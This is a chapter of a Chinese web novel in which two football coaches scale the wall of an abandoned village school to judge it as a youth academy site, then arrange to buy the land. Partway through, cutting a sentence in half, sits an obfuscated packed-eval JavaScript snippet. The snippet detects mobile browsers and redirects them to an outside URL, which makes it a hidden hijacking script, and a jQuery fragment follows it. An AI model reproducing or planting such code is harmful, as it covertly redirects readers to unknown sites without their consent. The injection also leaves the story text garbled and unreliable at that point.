下午的训练有条不紊。
安靖在场边盯着曹律，一个简单的停球动作让他反复练了二十多遍。
“再来！脚腕放松点！”
曹律擦了把汗，继续。
谢舒英看了一会儿，对曹哲使了个眼色。
两人悄悄离开训练场，上了曹哲的车。
车子开出体育中心，往近郊方向开。
“去哪？”曹哲问。
“找地。”谢舒英说，“青训队有了，得有个地方安置。总不能一直跟一队挤。”
曹哲点头：“也是。你想找什么样的？”
“越大越好。”谢舒英看着窗外，“能放下训练场、医疗中心、数据中心，最好还能有宿舍。现代化设施都得放得下。”
曹哲笑了：“你这口气，不知道的还以为咱们是豪门俱乐部。”
“咱们朝这个目标前进。”谢舒英说。
曹哲看了她一眼，忽然说：“谢教练，有件事我挺佩服你的。”
“什么？”
“俱乐部的钱，你只想着拿出来搞建设，一点没想着提高点福利。”曹哲说，“比如给自己涨点工资，或者弄点别的。这要是换个人，这笔钱估计要被分掉大半了。”
谢舒英没接话。
她前世就是因为钱，才走上那条路。
现在重来一次，她不想再碰那些东西。
车子开了十来分钟，周围的建筑渐渐少了。
前面出现一个村子。
“江林村，这地儿我知道。”曹哲看了眼导航，“离体育中心不远，但交通不太方便。村里就一个小学，原本还有所中学，十年前就废弃了。”
谢舒英看向窗外。
村子旁边有条河，水挺清，环境不错。
“就这儿看看。”她说。
曹哲把车停在村口。
他下车，想找村民问问那所废弃中学的具体情况。
谢舒英拉住了他。
“先看场地。”她说，“有眉目了再找人对接。别提前走漏消息。”
曹哲笑了：“你这谨慎得，跟做贼似的。”
“小心点没坏处。”谢舒英说。
两人沿着村道往里走。
走了大概五分钟，看到一堵围墙。
围墙不高，两米左右，能看到里面的老楼。
大门紧闭，锈迹斑斑。
“就这儿了。”曹哲说，“江林中学。”
谢舒英绕着围墙走了一段。
“翻进去看看？”她问。
曹哲愣了一下：“翻墙？”
“不然呢？”谢舒英说，“大门锁着，总不能砸开。”
曹哲看了看围墙：“行，我先上去，再拉你。”
他后退几步，助跑，跳起来扒住墙头。
墙上的砖块突然松了。
曹哲整个人往下滑。
“卧槽——”
谢舒英反应快，一步上前，伸手接住了他。
公主抱。
曹哲整个人僵住了。
谢舒英把他放下，拍了拍手：“你没事吧？”
曹哲脸有点红：“没、没事。这墙不结实。”
“看我的。”
谢舒英后退几步，助跑，蹬墙，手一扒，利落地翻了上去。
动作干净得不像话。
曹哲在下面看得目瞪口呆。
“上来啊。”谢舒英蹲在墙头，伸手。
曹哲尴尬地咳了一声，也爬了上去。
两人跳下墙。
里面挺大。
谢舒英目测了一下，大概有三百亩左右。
地面相对平整，长满了杂草，但没什么大坑大洼。
“这地可以。”她说，“基本上不用搞大工程，平整一下就能用。”
曹哲点头：“楼倒是不多，就两栋。看样子应该是一栋教学楼，一栋宿舍楼。”
两人在外围转了一圈。
天色渐渐暗了。
“去教学楼看看？”谢舒英说。
曹哲犹豫了一下：“要不……改天再来？这天快黑了。”
谢舒英看了他一眼：“你害怕了？还是有幽闭恐惧症？”
“谁害怕了！”曹哲立刻说，“走，进去！我走前面！”
他大步走向教学楼。
谢舒英跟在他后面，嘴角弯了弯。
教学楼的门没锁，一推就开。
里面一股霉味。
走廊很暗，采光是向东的，到了下午基本没光。
曹哲走在前面，脚步放得很轻。
“你走那么小心干嘛？”谢舒英问。
“我……我看看地上有没有东西，别绊着了。”曹哲说。
两人从一楼开始看。
办公室、教室，一间间看过去。
桌椅都还在，积了厚厚的灰。
场景比城市里的鬼屋还真实。
谢舒英都觉得有点冷。
但她不怕。
死过一次的人，怕什么鬼。
曹哲小声说：“聊点话题吧，活跃下气氛。”
谢舒英想了想：“曹教练这么喜欢足球，怎么当教练，不当球员？”
曹哲沉默了几秒。
“以前是想踢的。”他说，“后来脚受了伤，落下点后遗症，没法百分百发挥实力，就改当教练了。”
“什么伤？”
“走山路走的。”曹哲轻描淡写地说，“走了太久，脚废了。”
谢舒英看了他一眼，不想继续戳他痛处。
没再问。
两人上了二楼。
曹哲忽然问：“谢教练，你姑姑林秀的笔记，还在你手里吗？”
谢舒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287972|198453||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
英心里一紧。
“怎么了？”
“我想买。”曹哲很认真，“花重金买，我太想进步了。”
谢舒英摇头：“不知道放老家哪里了，可能找不到了。”
曹哲叹了口气：“可惜了。”
两人把两栋楼大概走了一遍。
楼体很结实，以前的建筑用料扎实。
采光虽然差，但可以改造。
“宿舍楼可以继续当宿舍。”谢舒英说，“把每间做大点，让球员和教练住得舒服点。”
“教学楼一楼扩建一下，做成室内训练场。”曹哲接话，“二楼做医疗康复中心，三楼食堂，四楼会议室、数据分析中心。”
谢舒英点头：“跟我想的一样。”
两人正要离开宿舍楼。
一只老鼠突然从墙角窜过去。
“啊！”
曹哲吓得往后一跳，本能地抱住了谢舒英。
谢舒英也被吓了一跳，下意识抱紧了他。
两人抱在一起，僵了两秒。
然后同时松开。
“咳。”曹哲别过脸，“我还以为是什么怪东西……”
“我也吓一跳。”谢舒英说，“走吧，天快黑了。”
两人快步走出宿舍楼。
翻墙出去的时候，曹哲这次学乖了，确定砖头结实才翻上去。
回到车上，曹哲发动车子。
“这地方怎么样？”他问。
“可以。”谢舒英说，“面积够大，建筑能用，改造起来不难。关键是位置，离体育中心近，又相对独立。”
“那接下来怎么说？吃个饭？”
“回队里吃吧。”谢舒英说，“回去跟秋水商量一下，看能不能把这块地谈下来。”
“好。”
车子开回体育中心。
训练已经结束了，他们在餐厅和队员们一起吃了个饭。
回到办公室，谢舒英给廖学秋打了个电话。
把江林中学的情况说了一遍。
廖学秋在电话那头想了想。
“地是村里的，还是教育局的？”
“得查。”谢舒英说，“这种废弃学校，产权应该不复杂。”
“我让人去查。”廖学秋说，“如果可行，咱们就谈。钱不是问题。”
挂了电话，回收了餐盘的曹哲走进来。
“秋水怎么说？”
“他让人去查产权。”谢舒英说，“如果没问题，就谈。”
曹哲坐下，看着谢舒英。
“谢教练。”
“嗯？”
“今天……谢谢。”
谢舒英愣了一下：“谢什么？”
“接住我。”曹哲说，“还有……没笑话我。”
谢舒英笑了：“这有什么好笑的。”
曹哲也笑了。